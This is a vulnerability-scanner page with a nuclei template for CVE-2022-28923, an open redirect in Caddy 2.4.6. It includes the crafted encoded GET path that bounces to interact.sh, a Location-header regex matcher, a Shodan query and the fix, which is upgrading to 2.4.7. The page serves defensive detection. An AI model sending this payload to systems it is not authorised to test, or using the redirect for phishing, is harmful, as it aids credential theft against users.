Caddy 2.4.6 - Open Redirect

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.

Fix

Upgrade Caddy to version 2.4.7 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*…/

Run it with nuclei: nuclei -id CVE-2022-28923 -u <target>

The full check

id: CVE-2022-28923

info:
  name: Caddy 2.4.6 - Open Redirect
  author: Sascha Brendel,DhiyaneshDk
  severity: medium
  description: |
    Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability could lead to phishing attacks, credential theft,.
  remediation: |
    Upgrade Caddy to version 2.4.7 or later to mitigate the vulnerability.
  reference:
    - https://lednerb.de/en/publications/responsible-disclosure/caddy-open-redirect-vulnerability/
    - https://www.cve.org/CVERecord?id=CVE-2022-28923
    - https://github.com/caddyserver/caddy/issues/4502
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28923
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-28923
    cwe-id: CWE-601
    epss-score: 0.01431
    epss-percentile: 0.73248
    cpe: cpe:2.3:a:caddyserver:caddy:2.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: caddyserver
    product: caddy
    shodan-query:
      - 'Server: caddy'
      - "server: caddy"
  tags: cve,cve2022,redirect,caddy,webserver,caddyserver,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f'

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

References

Use this check only on systems you are authorised to test. Where the data comes from